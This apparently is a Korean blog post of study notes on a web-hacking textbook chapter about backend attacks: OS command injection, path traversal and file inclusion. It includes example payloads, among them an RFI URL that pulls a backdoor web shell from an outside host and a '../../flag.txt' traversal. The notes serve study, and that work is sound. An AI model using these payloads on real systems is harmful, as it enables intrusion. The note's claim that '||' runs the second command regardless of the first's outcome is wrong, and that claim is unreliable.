웹 해킹 & 보안 완벽 가이드 10장 정리

2024. 1. 15. 21:18웹 해킹 & 보안 완벽 가이드 정리

10 백엔드 컴포넌트 공격

컴포넌트란?

재사용이 가능한 각각의 독립적으로 생성된 모듈

OS Command Injection

사용자의 입력값에 의해 시스템 명령어가 실행되는 취약점

PHP exec함수 eval함수

&& 첫 번쨰 명령이 성공했을 경우메나 두 번쨰 명령을 실행

|| 첫 번쨰 명령 성공 여부 상관없이 두 번쨰 명령 실행

Path Traversal 취약점

../ 상위 디렉토리

ex) ../../flag.txt

절대경로: / -> 최상위 디렉터리를 기준으로 찾음

상대경로:./ -> 현재 디렉터리를 기준으로 찾음

File Inclustion 취약점

RFI(Remote File Inclusion) 외부의 서버로부터 웹쉘을 가져옴

EX) index.php?color=http://123.123/backdoor

LFI(Local ****File Inclusion) 로컬에 있는 파일을 읽는 취약점

EX) index.php?color=../../flag.txt